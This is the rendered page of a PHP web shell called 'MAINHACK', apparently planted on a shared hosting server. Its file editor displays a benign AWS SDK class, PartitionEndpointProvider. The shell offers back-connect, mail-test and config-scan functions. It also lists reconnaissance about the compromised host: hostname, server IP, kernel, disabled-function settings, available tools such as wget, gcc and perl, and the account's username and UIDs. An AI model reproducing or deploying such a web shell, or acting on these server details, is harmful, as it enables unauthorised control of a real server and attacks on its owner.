[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PartitionEndpointProvider.php
<?php namespace Aws\Endpoint; use JmesPath\Env; class PartitionEndpointProvider { /** @var Partition[] */ private $partitions; /** @var string */ private $defaultPartition; /** @var array */ private $options; /** * The 'options' parameter accepts the following arguments: * * - sts_regional_endpoints: For STS legacy regions, set to 'regional' to * use regional endpoints, 'legacy' to use the legacy global endpoint. * Defaults to 'legacy'. * - s3_us_east_1_regional_endpoint: For S3 us-east-1 region, set to 'regional' * to use the regional endpoint, 'legacy' to use the legacy global endpoint. * Defaults to 'legacy'. * * @param array $partitions * @param string $defaultPartition * @param array $options */ public function __construct( array $partitions, $defaultPartition = 'aws', $options = [] ) { $this->partitions = array_map(function (array $definition) { return new Partition($definition); }, array_values($partitions)); $this->defaultPartition = $defaultPartition; $this->options = $options; } public function __invoke(array $args = []) { $partition = $this->getPartition( isset($args['region']) ? $args['region'] : '', isset($args['service']) ? $args['service'] : '' ); $args['options'] = $this->options; return $partition($args); } /** * Returns the partition containing the provided region or the default * partition if no match is found. * * @param string $region * @param string $service * * @return Partition */ public function getPartition($region, $service) { foreach ($this->partitions as $partition) { if ($partition->isRegionMatch($region, $service)) { return $partition; } } return $this->getPartitionByName($this->defaultPartition); } /** * Returns the partition with the provided name or null if no partition with * the provided name can be found. * * @param string $name * * @return Partition|null */ public function getPartitionByName($name) { foreach ($this->partitions as $partition) { if ($name === $partition->getName()) { return $partition; } } } /** * Creates and returns the default SDK partition provider. * * @param array $options * @return PartitionEndpointProvider */ public static function defaultProvider($options = []) { $data = \Aws\load_compiled_json(__DIR__ . '/../data/endpoints.json'); $prefixData = \Aws\load_compiled_json(__DIR__ . '/../data/endpoints_prefix_history.json'); $mergedData = self::mergePrefixData($data, $prefixData); return new self($mergedData['partitions'], 'aws', $options); } /** * Copy endpoint data for other prefixes used by a given service * * @param $data * @param $prefixData * @return array */ public static function mergePrefixData($data, $prefixData) { $prefixGroups = $prefixData['prefix-groups']; foreach ($data["partitions"] as $index => $partition) { foreach ($prefixGroups as $current => $old) { $serviceData = Env::search("services.\"{$current}\"", $partition); if (!empty($serviceData)) { foreach ($old as $prefix) { if (empty(Env::search("services.\"{$prefix}\"", $partition))) { $data["partitions"][$index]["services"][$prefix] = $serviceData; } } } } } return $data; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285